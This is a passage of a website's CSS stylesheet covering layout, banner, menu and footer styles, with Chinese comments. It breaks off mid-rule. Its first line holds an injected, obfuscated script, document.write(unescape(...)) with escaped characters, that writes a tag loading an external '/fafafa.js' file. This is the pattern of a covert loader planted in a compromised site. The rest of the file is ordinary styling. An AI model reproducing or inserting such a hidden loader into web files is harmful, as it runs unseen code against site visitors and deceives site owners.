<script>document.write(unescape("%3Cscript%20src%3D%22\u002f\u0066\u0061\u0066\u0061\u0066\u0061\u002e\u006a\u0073%22%20type%3D%27text/javascript%27%3E%3C/script%3E"));</script>?@charset "utf-8";

@font-face {
  font-family: "g1"; 
  src: url('/fonts/DIN/ REGULAR.OTF')      
}
@font-face {
  font-family: "g2"; 
  src: url('/fonts/gilroy-bold.otf')      
}
body {
  font-size:12px;
	padding:0;margin: 0;
	font-family:"g1","PingFang SC",sans-serif !important;
	overflow-x: hidden;
  scroll-behavior: smooth;
  position: relative;
}
html {font-size: 100px;scroll-behavior: smooth;} 
/* 效果CSS结束 */
.at{
  color: #888;
}


.seach{
  display: flex;
  justify-content: flex-start;
}
.seach>div{
  width: 0rem;
  position: absolute;
  /* border-bottom: 1px solid; */
  right: 1.9rem;
  top: 38%;
  /* padding-left: .2rem; */
-webkit-transition: 0.3s linear;
-moz-transition: 0.3s linear;
-ms-transition: 0.3s linear;
-o-transition: 0.3s linear;	
transition: 0.3s linear;

}
.sss{
  width: 2rem !important;
}
.seach>div>input{
  background: none;
 width: 100%;
  /* position: absolute; */
  border: none;
  height: .2rem;
  border-bottom: 1px solid ;
  /* padding-left: .3rem; */
}
.seach>p{
  cursor: pointer;
}
.cd{
  position: fixed;
  bottom: 0;
  right: 0;
  display: block;
  width: 40%;
  background: #fff;
  position: fixed;
  /* left: -50%; */
  overflow: hidden;
  top: 0;
  z-index: 11111;
  padding-top: 2rem;
  padding-left: 1rem;
  padding-right: 1rem;
  box-sizing: border-box;
  -webkit-transition: 0.6s linear;
	transition: 0.6s linear;
}
.cd>img{
  width: 3.3rem;
  position: absolute;
  top: 0;
  left: 0;
}
.close{
  position: absolute;
  top: 0;
  left: 3.3rem;
  cursor: pointer;
}
.close>img{
  width: 1rem;
}
.htop{
  font-size: .3rem;
  color: #333;
  line-height: .7rem;
  /* font-family: p1; */
  display: flex;
  justify-content: flex-start;
  position: relative;
}
.htop>p{
  margin: 0;
}
.lis>a> span{
  display: none;
}
/* .hfirst span{
  display: block;
} */
.lis:first-child a{
  font-size: .18rem !important;
  color: #666 !important;
}
.lis:first-child a:hover {
  color: #e62129 !important;
}
/* .htop:hover::after{
  content: '';
  position: absolute;
  left: 0;
  width: .25rem;
  height: 2px;
  background: #e62129;
  top: 50%;
  margin-top: -1px;
} */
.htop:hover span{
  /* display: none !important; */
}
/* .hfirst .htop:hover::after{
  content: '';
  position: absolute;
  left: 0;
  width: 0;
  height:0;
  background: #e62129;
  top: 0;
  margin-top: 0;
  
} */
/* .hfirst .htop:hover{
  padding-left: 0;
} */
.na{
  width: 1rem;
  cursor: pointer;
}
.cddi{
  display: flex;
  justify-content: space-between;
  padding-top: 1.8rem;
  padding-right: 1.1rem;
  box-sizing: border-box;
}
.cddil{
  color: #9d9d9d;
  font-size: .16rem;
  width: 1.4rem;
  display: flex;
  justify-content: space-between;
  line-height: 1;
}
i{
  cursor: pointer;
}
.cddil i:hover {
  color: #e62129;
}
.cddil>p{
  margin: 0;
  opacity: .2;
}
.lis{
  width:50%;
  /* border-right: 1px solid #e5e5e5; */
}
.htop.onn{
  color: #e62129;
}
.htop.onn>div>span{
  width: .25rem;
  margin-right: 10px;
}
.lis>a>div{
  display: flex;
  justify-content: flex-start;
}
.lis>a>div>p{
  margin: 0;
}
.lis>a>div>span{
  display: block;
  width: 0;
  height: 2px;
  background: #e62129;
  position: relative;
  top: 40%;
  

-webkit-transition: 0.3s linear;
-moz-transition: 0.3s linear;
-ms-transition: 0.3s linear;
-o-transition: 0.3s linear;	
transition: 0.3s linear;
}
.htop:hover{
  color: #e62129;
}
.htop:hover div>span{
  width: .25rem;
  margin-right: 10px;
}
.erhopt>div {
  display: flex;
  justify-content: flex-start;
}
.erhopt>div>p{
  margin: 0;
}
.erhopt>div>span{
  display: block;
  width: 0;
  height: 2px;
  background: #e62129;
  position: relative;
  margin-top: .07rem;
-webkit-transition: 0.3s linear;
-moz-transition: 0.3s linear;
-ms-transition: 0.3s linear;
-o-transition: 0.3s linear;	
transition: 0.3s linear;
}
.erhopt:hover{
  color: #e62129;
}
.erhopt:hover div>span{
  width: .25rem;
  margin-right: 10px;
}

.nnav>div>span{
  width: .25rem !important;
  margin-right: 10px !important;
}
.nnav>div{
  color: #e62129;
}
.s2_con_box{
  width: 100%;
  /* height: 4rem; */
}
.s2_nav{
  /* float: left; */
  width: 100%;
}
.s2_nav>ul{
  position: relative;
  margin: 0;
}
.s2_nav>ul::before{
  content: '';
  position: absolute;
  height: 85%;
  width: 1px;
  left: 50%;
  bottom:4%;
  z-index: 1;
  background: #ccc;
}
.s2_con_out {
  height: 3.5rem;
    width: 4.7rem;

    float: left;
}
.s2_con_box .s2_con_out .s2_con_list .s2_con {
  display: none;
  transition: all 1s;
  position: absolute;
  z-index: 1;
  top: 2.8rem;
    left: 6.7rem;
}
.s2_con>li>a{
  font-size: .2rem;
  color: #444;
  line-height: 2;
}
.cddir>a{
  font-size: .18rem;
  color: #9d9d9d;
}
.z{
  color: #333 !important;
}
.ernavlist{
  width: 30%;
  position: absolute;
  left: 75%;
  top: 14%;
  /* display: none; */
  overflow: hidden;
}
.ernavlist>div>li>a{
  font-size: .2rem;
  color: #444;
  line-height: 1;
}
.ernavlist>div>li{
  margin-bottom: .3rem;
}
.erbox{
  height: 6rem;
  position: relative;
  z-index: 1;
 background: #fff;
-webkit-transform: translateX(-100%);
-moz-transform: translateX(-100%);
-ms-transform: translateX(-100%);
-o-transform:translateX(-100%);
transform: translateX(-100%);
-webkit-transition: 0.6s linear;
	-moz-transition: 0.6s linear;
	-ms-transition: 0.6s linear;
	-o-transition: 0.6s linear;	
	transition: 0.6s linear;
}
.erbox.onbox{
  position: relative;
  z-index: 11;
  -webkit-transform: translateX(0%);
  -moz-transform: translateX(0%);
  -ms-transform: translateX(0%);
  -o-transform:translateX(0%);
  transform: translateX(0%);
}
.header{
  height: 1.05rem;
  width: 100%;
  padding: 0 .35rem 0 0rem; 
  position: fixed;
  z-index: 111;
  display: flex;
  justify-content: space-between;
  box-sizing: border-box;
}
.logo{
  position: fixed;
  
  left: 0;
  z-index: 111111;
  top: 0;
  -webkit-transition: 0.6s linear;
  -moz-transition: 0.6s linear;
  -ms-transition: 0.6s linear;
  -o-transition: 0.6s linear;
  transition: 0.6s linear;
}
.logo>a
{
  height:1rem;
  overflow:hidden;
  display:block;
}
.logo>a>img{
  width: 3.3rem;
  
}
.logo>img{
  width: 1rem;
  margin-left: -.06rem;
  display: none;
}
.banner{
  width: 100%;
  position: relative;
  overflow: hidden;
  
}
.ban{
  width: 100%;
  height: 100%;
  overflow: hidden;
}
.ban>div>div{
  width: 100%;
  height: 100%;
}
.navlist{
  position: absolute;
    z-index: 111;
    right: .7rem;
    top: 0;
    display: flex;
    justify-content: space-between;
    width: 2.15rem;
    line-height: 1.05rem;
}
.navlist>span {
  display: inline-block;
  background: #fff;
  width: 1px;
  height: .16rem;
  position: relative;
  top: .43rem;
}
.caidan{
  width: .25rem;
  position: relative;
  top: .43rem;
  cursor: pointer;
}
.sousuo{
  width: .16rem;
    margin-right: .04rem;
    position: absolute;
    top: 0.02rem;
    cursor: pointer;
    left: 0;
}
.tianmao{
  width: .28rem;
  margin-right: .08rem;
  position: relative;
  top: -.01rem;
}
.navlist>a:last-child{
  color: #fff;
  font-size: .2rem;
  position: relative;
}
.navlist>a:last-child::before{
  content: '';
  position: absolute;
  width: 1px;
  height: .15rem;
  background: #FFF;
  top: .45rem;
  left: -.15rem;
}
.dq{
  width: .2rem;
    margin-right: .08rem;
    position: relative;
    top: -.01rem;
}
.navlist div{
  font-size: .2rem;
  color: #fff;
}
.ban_txt{
  position: absolute;
  z-index: 1;
  top:3.2rem;
  left: 1.1rem;
}
.deng{
  width: .55rem;
}
.ban_txt>h5{
  font-size: .6rem;
  color: #fff;
  margin: 0;
  line-height: .75rem;
  text-transform: uppercase;
}
.hg{
  width: 2rem;
  margin-top: .35rem;
}
.banner .swiper-container-ban .ban_txt>.deng,
.banner .swiper-container-ban .ban_txt>h5,
.banner .swiper-container-ban .ban_txt>.hg
{
    transition: all 1s;
    opacity: 0;
    transform: translateY(50px);
}


.banner .swiper-container-ban .swiper-slide.swiper-slide-active .ban_txt>.deng,
.banner .swiper-container-ban .swiper-slide.swiper-slide-active .ban_txt>h5,
.banner .swiper-container-ban .swiper-slide.swiper-slide-active .ban_txt>.hg {
     transition-delay: .6s;
     transform: none;
     opacity: 1;

}
.bjt{
  position: absolute;
    z-index: 11;
    width: .5rem;
    bottom: 70px;
    cursor: pointer;
    border: 1px solid #fff;
    height: .5rem;
    border-radius: 100%;
    line-height: .5rem;
    text-align: center;
    color: #fff;
    font-size: .25rem;
    padding-top: .11rem;
    box-sizing: border-box;
    -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
  transition: 0.3s linear;
  outline: none;
}
.bleft{
  left: 1.1rem;
}
.bright{
  left: 1.8rem;
}
.bn_txt{
  position: absolute;
    z-index: 1;
    right: .8rem;
    bottom:70px;
}
.bjt:hover{
  border: 1px solid #e62129;
  color: #fff;
  background: #e62129;
}
.bn_txt>h3>span{
color: #fff;  
font-size: .26rem;
}
.num{
  font-size: .4rem !important;
}
.ind1{
  margin-top: 0;
}
.ind1_left{
  width: 50%;
float: left;
position: relative;
opacity: 0;
left: -100px;
}
.ind1_right{
  float: left;
  width: 50%;
  position: relative;
opacity: 0;
right: -100px;

}
.ind1_left{
  padding: 1.15rem 0 0 0;
  box-sizing: border-box;
  background: url('/images/about.png') no-repeat;
  background-position: center;
  background-size: cover;
}
.ind1_left>h5{
  font-size: .5rem;
  color: #222;
  line-height: .6rem;
  margin: 0;
  /* font-family: p1; */
  padding-left: 1.1rem;
  padding-right: 2rem;
}
.ind1_left>h5>span{
  font-family: 'PingFang SC';
}
.ind1_left>p{
  font-size: .18rem;
  color: #888;
  line-height: .3rem;
  margin: 0;
  margin-top: .4rem;
  margin-bottom: .9rem;
  padding-left: 1.1rem;
  padding-right: 2rem;
}
 .counter{
   font-size: .5rem;
   color: #333;
   line-height: 1;
   font-weight: 600;
   -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
	transition: 0.3s linear;
 }
 .nn{
   font-size: .16rem;
   color: #333;
 }

 .ind1_con{
  padding-right: 2.7rem;
   display: flex;
   justify-content: space-between;
   padding-left: 1.1rem;
 }

 .abmore{
   width: 100%;
   line-height: 1rem;
   background: #aa0808;
   
   margin-top: .958rem;
   display: block;
   padding-left: 1.1rem  ;
   box-sizing: border-box;
 }
 .abmore>a{
  color: #fff;
  font-size: .18rem;
  -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
	transition: 0.3s linear;

 }
 .abmore i{
   margin-left: .1rem;
 }
 .abmore>a:hover
 {
   padding-left: .2rem;
 }
 .ind1rbg{
   position: absolute;
   z-index: 1;
   top: 0;
   left: 0;
   width: 100%;
   height: 2rem;
   /* background: url('/images/abb.png') no-repeat; */
   /* background-position: center; */
   /* background-size: cover; */
   display: flex;
   justify-content: space-between;
 }
 .ab_more{
  line-height: 2.32rem;
  padding-left: .75rem;
 }
 .ab_more>a{
  color: #fff;
  font-size: .18rem;
  -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
	transition: 0.3s linear;

 }
 .ab_more i{
  margin-left: .1rem;
}
 .ab_more>a:hover
 {
   padding-left: .2rem;
 }
 .ab_right{
   display: none;
   text-align: right;
   padding-right: 1.1rem;
   padding-top: .55rem;
 }
 .ab_right span{
  border-radius: 3px;
   width: .85rem;
   height: .3rem;
   display: inline-block;
   text-align: center;
   background: #e60012;
font-size: .2rem;
color: #fff;
/* float:right; */
 }
 .ab_right p{
   font-size: .3rem;
   line-height: .32rem;
   margin-top: .15rem;
   color: #fff;
   /* float:right; */
 }
 .ind1rimg{
	overflow: hidden;
}
.ind1rimg>video{
  height: 7.2rem;
}
.ind1rimg img{
	 cursor: pointer;
     transition: all 1s;
}
.ind1rimg img:hover{
	transform: scale(1.1);
}
 
 .ind2{
   width: 100%;
   height: 9.5rem;
   -webkit-transition: 0.6s linear;
	transition: 0.6s linear;
 }
 .ind22{
  width: 100%;
  height: 9.5rem;
  -webkit-transition: 0.6s linear;
 transition: 0.6s linear;
}
 .ind2_txt{
  float: left;
  width: 25%;
  position: relative;
  height: 100%;
 }
 .ind2_txt::after{
content: '';
position: absolute;
width: 1px;
height: 100%;
background: rgba(255, 255, 255, .15);
top: 0;
right: 0;
 }
 .ind2mb{
   width: 100%;
   height: 100%;
   background: rgba(22, 22, 22, .2);
   position: absolute;
   left: 0;
   right: 0;
   opacity: 0;
   -webkit-transition: 0.6s linear;
  transition: 0.6s linear;
  z-index: 1;
 }
 .ind2_con{
  padding: 3.4rem 0 0 .7rem;
  box-sizing: border-box;
  position: relative;
  z-index: 111;
 }
 .ind2_con>h5{
   font-size: .4rem;
   color: #fff;
   line-height: 1;
   margin: 0;
   margin-bottom: .18rem;
 }
 .ind2_con>p{
  font-size: .18rem;
  color: #fff;
  line-height: 1;
  margin: 0;
}
.heng{
  width: 3.4rem;
  height: 1px;
  background: rgba(255, 255, 255, .1);
  position: relative;
  margin-top: .5rem;
  margin-bottom: .5rem;
  
}
.ind2_con>img{
  width: .5rem;
  opacity: 0;
  -webkit-transition: 0.6s linear;
	transition: 0.6s linear;
}
.heng1{
  position: absolute;
  width: 0;
  height: 100%;
  left: 0;
  top: 0;
  z-index: 11;
  display: inline-block;
  background: #fff;
  -webkit-transition: 0.6s linear;
	transition: 0.6s linear;
}
.ind3_txt {
  padding-right: 1.1rem;
  display: flex;
  justify-content: space-between;
}
.ind3_txt>h5 {
  font-size: .6rem;
  color: #333;
  margin: 0;
  line-height: 1;
  /* font-family: p1; */
  position: relative;
  opacity: 0;
  top: 100px;
}
.ind3 .more {
  color: #333;
  font-size: .18rem;
  width: 1.7rem;
  height: .6rem;
  line-height: .6rem;
  text-align: center;
  border: 1px solid #e6e6e6;
  border-radius: .3rem;
  outline: none;
  opacity: .8;
  -webkit-transition: 0.3s linear;
    transition: 0.3s linear;
 
}
.more:hover{
  opacity: 1;
}
.more>img {
  width: .14rem;
  position: relative;
  margin-right: 10px;
  top: -.02rem;
}
.ind3{
  background: #f9f9f9;
  padding: .6rem 0 1rem 1.1rem;
  background: url('/images/nbg.png') no-repeat;
  background-position: center;
  background-size: cover;
}
.ind3_con
{
    padding-right:1.1rem;
  display: flex;
  justify-content: space-between;
  margin-top: .6rem;
  /* height: 6.7rem; */
  position: relative;
  opacity: 0;
  top: 100px;
}
.ind3txt{
  position: relative;
  width: 100%;
  margin-right: .4rem;
  
}
.ind3txt:first-child{
 
}
.ind3txt:last-child{
  margin-right: 0 !important;
}
.ind3tit{
  cursor: pointer;
  width: 100%;
    height: 2.18rem;
    background: #fff;
    margin: 0;
    position: relative;
    z-index: 1;
    padding: .35rem .5rem 0 .3rem;
    box-sizing: border-box;
    -webkit-transition: 0.3s linear;
    -moz-transition: 0.3s linear;
    -ms-transition: 0.3s linear;
    -o-transition: 0.3s linear;	
    transition: 0.3s linear;
  
}
.ind3tit:hover{
  -moz-box-shadow:1px 6px 9px #ccc; 
  -webkit-box-shadow:1px 6px 9px #ccc;
   box-shadow:1px 6px 9px #ccc;
}
.ind3tit>p{
  color: #a6a6a6;
  margin: 0;
  font-size: .16rem;
  line-height: 1;
}
.ind3tit>h5 {
  color: #333;
  margin: 0;
  font-size: .24rem;
  line-height: .35rem;
  margin-top: .2rem;
  margin-bottom: .3rem;
  min-height: .4rem;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}
.ind3tit>div{
  color: #333;
  margin: 0;
  font-size: .16rem;
  line-height: .1rem;
  -webkit-transition: 0.3s linear;
    transition: 0.3s linear;
}
.ind3tit>a>i{
  margin-left: .1rem;
  font-size: .18rem;
}
.ind3tit>a:hover{
 padding-left: .2rem;
}
.ind3tit>a>img{
  width: 7px;
  margin-left: .12rem;
  position: relative;
  top:.02rem;
}
.ind3tita{
  cursor: pointer;
  position: absolute;
  width: 4rem;
  height: 2.1rem;
  right: 0;
  bottom: 0;
  background: rgba(102,102,102,.5);
  padding: .3rem .5rem 0 0;
  box-sizing: border-box;
}
.ind3tita>p{
  color: #fff;
  opacity: .5;
  font-size: .16rem;
  margin: 0;
  padding-left: .3rem;
}
.ind3tita>h5{
  color: #fff;
  font-size: .2rem;
  line-height: .3rem;
  margin: 0;
  margin-top: .2rem;
  margin-bottom: .4rem;
  padding-left: .3rem;
}
.ind3tita>div{
  position: absolute;
  width: 100%;
  height: .6rem;
  display: block;
background: #e60012;
bottom: 0;
left: 0;
padding-left: .3rem;
}
.ind3tita>div>div{
  line-height: .6rem;
  font-size: .16rem;
  color:#fff;
  -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
	transition: 0.3s linear;

}
.ind3tita>div>a>i{
  margin-left: .1rem;
  font-size: .18rem;
}
.ind3tita>div>a:hover{
  padding-left: .2rem;
}
.ind4left{
  width: 50%;
  float: left;
  height: 8rem;
  position: relative;
  opacity: 0;
  left: -100px;
}
.ind4right{
  width: 50%;
  float: left;
  height: 8rem;
  position: relative;
  opacity: 0;
  right: -100px;
}
.ind4left{
  /* background: url('/images/yy.jpg') no-repeat;
  background-position: center;
  background-size: cover; */
}
.ind4right{
  /* background: url('/images/case.jpg') no-repeat;
  background-position: center;
  background-size: cover; */
}
.ind4txt{
  position: absolute;
top: 1rem;
left: 1.1rem;
  z-index: 1;
}
.ind4tt{
  /* padding: 1rem 1.1rem;
  box-sizing: border-box; */
}
.ind4txt>h5{
  font-size: .6rem;
  color: #fff;
  margin: 0;
  line-height: 1;
  margin-bottom: .3rem;
  /* font-family: p1; */
}
.ind4txt>p{
  font-size: .2rem;
  color: #fff;
  margin: 0;
  line-height: .32rem;
  margin-bottom: 1.1rem;
  width: 4.4rem;
}
.ind4txt>a{
  display: inline-block;
  font-size: .18rem;
  color: #fff;
  margin: 0;
  line-height: 1;
  opacity: .5;
  -webkit-transition: 0.3s linear;
    transition: 0.3s linear;
    position: relative;
}
.ind4txt>a>img {
  width: .08rem;
  /* margin-top: 7px; */
  position: absolute;
  left: .9rem;
  top: .02rem;
}
.ind4txt>a:hover{
  opacity: 1;
}
.ind4tt>a>img{
  width: 7px;
  margin-left: .12rem;
  position: relative;
  top: .02rem;
}
.footer {
  border-top: 1px solid #e5e5e5;
  padding: .5rem 1.1rem .3rem;
  box-sizing: border-box;
  background: #fff;
}
.footer_left>img{
width: 4.7rem;
margin-bottom: .5rem;
}
.footer_left>p{
  margin: 0;
  font-size: .16rem;
  color: #888;
  position: relative;
  display: block;
  line-height: 2;
}
.footer_left>p:last-child{
  width: 1rem;
}
/* .footer_right{
  width: 4.6rem;
} */
.fr_con{
  display: flex;
  justify-content: space-between;
}
.fr_r{
  width: 1rem;
  text-align: center;
padding-right: .05rem;
}
.fr_r>div{
  border-radius: 3px;
    padding: .05rem;
    border: 1px solid #e5e5e5;
    background: #fff;
}
.fr_r>p{
  font-size: .16rem;
  color: #888;
  margin: 0;
  line-height: 1;
  margin-top: .15rem;
}
.fr_l{
  text-align: right;
  /* margin-top: .1rem; */
}
.p1{
  width: 1.2rem;
  height: .4rem;
  line-height: .4rem;
  color: #888;
  background: #ededed;
  display: inline-block;
  text-align: center;
  margin: 0;
  border-radius: 6px;
  
}
.p1>img{
  width: 0.16rem;
  position: relative;
  top: -.005rem;
  margin-right: 4px;
}
.p2{
  color: #888;
  font-size: .16rem;
  margin: 0;
  margin-top: .05rem;
  margin-bottom: 0;
  line-height: 1;
  font-family: p1;
}
.p3{
  color: #e62129;
  font-size: .3rem;
  margin: 0;
  font-weight: bold;
  line-height: 1;
}
.ind3img{
  /* height: 3.1rem ; */
	overflow: hidden;
}
 .ind3img img
{
    width:100%;
	 cursor: pointer;
     transition: all 1s;
}
.cay3con .ind3img img
{
    width:100%;
    height:348px;
	 cursor: pointer;
     transition: all 1s;
}
.ind3img img:hover{
	transform: scale(1.1);
}
.in4img{
	overflow: hidden;
}
.in4img img
{
	 cursor: pointer;
     transition: all 1s;
}
.in4img img:hover{
	transform: scale(1.1);
}
.at>span{
	position: absolute;
    top: 0;
    left: 0;
    width: 100%;
	font-size: .16rem;
	opacity: 0;
   -webkit-transition: .3s linear;
	-moz-transition: .3s linear;
	-ms-transition: .3s linear;
	-o-transition: .3s linear;
  transition: .3s linear;
  display: inline-block;
    text-align: center;
}
.pimg{
  position: absolute;
  -webkit-transition: .3s linear;
	-moz-transition: .3s linear;
	-ms-transition: .3s linear;
	-o-transition: .3s linear;
  transition: .3s linear;
}

.friend_link_footer {
  display: inline-block;
  position: relative;
  margin-top: 0;
 
}
.friend_link_footer ul {
  position: absolute;
  top: 100%;
  display: none;
  background: #fff;
  z-index: 9;
  min-width: 100%;
  border: 1px solid #e5e5e5;
  border-top: none;
}
 .friend_link_footer p {
  color: #333;
  font-size: .16rem;
  line-height: .55rem;
  cursor: pointer;
  border: 1px solid #e5e5e5;
  padding-left: .2rem;
  border-radius: 4px;
  overflow: hidden;
  margin: 0;
  height: .55rem;
  position: relative;
  width: 2.7rem;
}
.friend_link_footer ul li a {
  line-height: 32px;
  padding: 0 10px;
  font-size:.16rem;
  border-bottom: 1px solid #e5e5e5;
  display: block;
  color: #ccc;
  text-align: center;
}
.friend_link_footer p span {
  display: inline-block;
    margin-left: 1.4rem;
    padding: 0 4px;
    height: 100%;
    position: relative;
    top: 0;
}
.friend_link_footer p span i{
  color: #333;
  font-size: .2rem;
  position: relative;
  top: 0rem;
  
-webkit-transform: rotate(-180deg);
-moz-transform: rotate(-180deg);
-ms-transform: rotate(-180deg);
-o-transform: rotate(-180deg);
transform: rotate(-180deg);

}

.footer_top{
  width: 100%;
  display: flex;
  justify-content: space-between;
}
.footer_bot{
  border-top: 1px solid #E5E5E5;
  padding-top: .5rem;
display: flex;
justify-content: space-between;
}
.footerbot_left{
  width: 11rem;
  display: flex;
  justify-content: space-between;
}
.footerbot_right{
width: 6rem;
padding-left: 1rem;
}
.footerbot_left>ul>li{
  color: #333;
  font-size: .16REM;
  line-height: 1;
  margin: 0;
  
}
.footerbot_left>ul>li:first-child a{
  color: #333 !important;
  font-size: .16REM !important;
  line-height: 1;
  margin: 0;
  -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
	transition: 0.3s linear;
}
.footerbot_left>ul>li:first-child{
  margin-bottom: .25rem;
}
.footerbot_left>ul>li>a{
  color: #888;
  font-size: .15REM;
  line-height: 1;
  margin: 0;
  margin-bottom: .15rem;
  -webkit-transition: 0.3s linear;
	-moz-transition: 0.3s linear;
	-ms-transition: 0.3s linear;
	-o-transition: 0.3s linear;	
	transition: 0.3s linear;
}
.footerbot_left>ul>li>a:hover{
  color: #e62129;
}
.footerbot_left>ul>li:first-child a:hover{
  color: #e62129 !important;
}
.fot_contact{
  display: flex;
}
.fot_contact>img{
  width: .5rem;
  height: .5rem;
  margin-right: .12rem;
}
.footerbot_er{
  margin-top: .4rem;
  display: flex;
  /*justify-content: space-between;*/
  padding-right: .15rem;
}
.footer2{
  padding: 0 1.1rem ;
  box-sizing: border-box;
  background: #f9f9f9;
  line-height: .6rem;
  display: flex;
  justify-content: space-between;
  color: #888;
  font-size: .14rem;
  font-family: p1;
}
.footer2_right>a{
  color: #888;
  font-size: .16rem;

}

.footer2_right>p{
  position: relative;
}
.footer2_left>a{
  color: #888;
  font-size: .14rem;
  margin-left: .3rem;
}
.footer2_left>a>img{
  width: .18rem;
  margin-right: .07rem;
}
@media (max-width:1440px){
/* .tianmao{
    width: .26rem;
    margin-right: .08rem;
    position: relative;
    top: -.01rem;
  }
  .dq{
    width: .26rem;
      margin-right: .08rem;
      position: relative;
      top: -.01rem;
  } */
  .logo>a>img{
  width: 3.3rem;
  
}
  .navlist {
    width: 2.15rem;
    line-height: 1.05rem;
}
  .navlist div {
    font-size: .2rem;
    color: #fff;
}
.cay3con .ind3img img{height:270px;}
}
@media (max-width: 1420px) {
  .footer_left>p:last-child {
    width: 1.1rem;
}
}

@media (max-width: 992px){

  body{
    overflow-x: hidden !important;
    width: 100%;
  }
  body p{
    font-size: 14px !important;
    
  }
  .navlist {
    width: 180px;
    position: relative;
    margin-top: 25px;
    margin-left: 12px;
}
  .navlist div {
    color: #fff !important;
    font-size: 15px;
}
.tianmao {
  width: 18px;
  margin-right: 10px;
  position: relative;
  top: 0;
}
.navlist>a:last-child {
  color: #fff;
  font-size: 15px;
  position: relative;
}
.navlist>a:last-child::before {
  content: '';
  position: absolute;
  width: 1px;
  height: 10px;
  background: #FFF;
  top: 4px;
  left: -20px;
}
  .heade{
    position: fixed;
    top: 0;
    left: 0;
    width: 215px;
    z-index: 999;
    background: #fff;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: justify;
      -ms-flex-pack: justify;
        justify-content: space-between;
    padding: 0;
    height: 50px;
    line-height: 50px;
  }
  .headr_img {
    width: 165px;
    margin-top: 0;
}
  .headr_cont{
    width: 50px;
    margin-top: 18px;
    padding-left: 12px;
  }
  .headr_cont span{
    display: block;
    width: 23px;
    height: 1px;
    background: #333;
    margin-bottom: 6px;
  }
  .headr_cont span:nth-child(2){
    width: 17px;
  }
  .heart{
    width: 100%;
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: justify;
      -ms-flex-pack: justify;
        justify-content: space-between;
    padding: 0 15px;
    height: 50px;
    line-height: 50px;
  }
  .hea{
    position: relative;
  }
  .hea span{
    width: 20px;
    height: 1px;
    background: #fff;
    margin-top: 8px;
  }
  .hea .nm{
    -webkit-transform: rotate(45deg);
        transform: rotate(45deg);
    -webkit-transition: all .2s;
    transition: all .2s;
  }
  .hea .vb{
    -webkit-transform: rotate(-45deg);
        transform: rotate(-45deg);
    -webkit-transition: all .2s;
    transition: all .2s;
    position: absolute;
    top: 0px;
  }
  .hea span:nth-child(2){
    width: 20px;
  }
  .headr_bot{
    position: fixed;
    top: 0px;
    left: 0;
    width: 100%;
    z-index:1000;
    background: #2f2f2f;
    height: 100vh;
    display: none;
  }
  .fort_bott1{
    padding: 0 20px;
  }
    .liq{
    padding: 0;
    opacity: 0;
    pointer-events: none;
    -webkit-transform: scale(1.1) translateY(-24px);
    transform: scale(1.1) translateY(-24px);
    -webkit-transition: opacity 0.35s ease-out, -webkit-transform 0.35s ease-out;
    transition: opacity 0.35s ease-out, -webkit-transform 0.35s ease-out;
    transition: opacity 0.35s ease-out, transform 0.35s ease-out;
    transition: opacity 0.35s ease-out, transform 0.35s ease-out, -webkit-transform 0.35s ease-out;
  }
  .slid{
    opacity: 1;
    pointer-events: auto;
    -webkit-transform: none;
    transform: none;
  }
  .liq:nth-child(2){
    -webkit-transition-delay: 100ms,100ms;
    transition-delay: 100ms,100ms;
  }
  .liq:nth-child(3){
    -webkit-transition-delay: 180ms,180ms;
    transition-delay: 180ms,180ms;
  }
  .liq:nth-child(4){
    -webkit-transition-delay: 260ms,260ms;
    transition-delay: 260ms,260ms;
  }
  .liq:nth-child(5){
    -webkit-transition-delay: 320ms,320ms;
    transition-delay: 320ms,320ms;
  }
  .liq:nth-child(6){
    -webkit-transition-delay: 400ms,400ms;
    transition-delay: 400ms,400ms;
  }
  .liq:nth-child(7){
    -webkit-transition-delay: 480ms,480ms;
    transition-delay: 480ms,480ms;
  }
  .liq:nth-child(8){
    -webkit-transition-delay: 560ms,560ms;
    transition-delay: 560ms,560ms;
  }
  .liq:nth-child(9){
    -webkit-transition-delay: 640ms,640ms;
    transition-delay: 640ms,640ms;
  }
  .fort_bott{
    width: 100%;
  }
  .fort_bott .li {
    width: 100%;
    border-bottom:2px solid #404043; 
  }
  .fort_bott .info{
    display: -webkit-box;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: justify;
      -ms-flex-pack: justify;
        justify-content: space-between;
    color: #fff;
  }
  .info h3{
    font-size: 15px;
    margin-top: 15px;
    margin-bottom: 15px;
    color: rgba(255,255,255,0.8);
  }
  .inf_img>img{
    margin-top: 122%;
  }
  .foyu_opi2{
    display: none;
  }
  
  .foty_over a{
    color: rgba(255,255,255,0.8);
    width: 100%;
    display: inline-block;
    padding-left: 15px;
    border-bottom: 1px solid rgba(255,255,255,0.1);
    line-height: 40px;
    font-size: 14px;
  }
  .inko p a{
    color: rgba(255, 255, 255, 0.7);
    font-size: 16px;
  }
  .img_disp2{
    display: block;
  }
  .img_disp3{
    display: none;
  }
  
  .y_ov a:last-child{
    border-bottom: none;
  }
  .banner {
    height: 9.6rem;
}
.ind1_left {
  padding: 1rem 0 0 0;
  
}
.deng {
  width: 30px;
}
.ban_txt>h5 {
  font-size: 30px;
  line-height: 35px;
 
}
.bjt {
  font-size: 20px;
 
  width: 30px;
  bottom: 20px;
  height: 30px;
  line-height: 30px;
}
.bright {
  left: 90px;
}
.ban_txt {
  top: 3rem;
  left: 1.1rem;
}
.bn_txt>h3>span {
  color: #fff;
  font-size: 24px;
}

.num {
  font-size: 30px !important;
}
.bn_txt {
  bottom: 20px;
}
.bn_txt >h3{
  margin: 0;
}
.ind1_left>h5 {
  font-size: 26px;
  color: #222;
  line-height: 30px;
  padding-right: 0rem;
}
.ind1_left {
  width: 100%;
}
.ind1_right {
  width: 100%;
}
.ind1_left>p {
  font-size: 16px;
  color: #888;
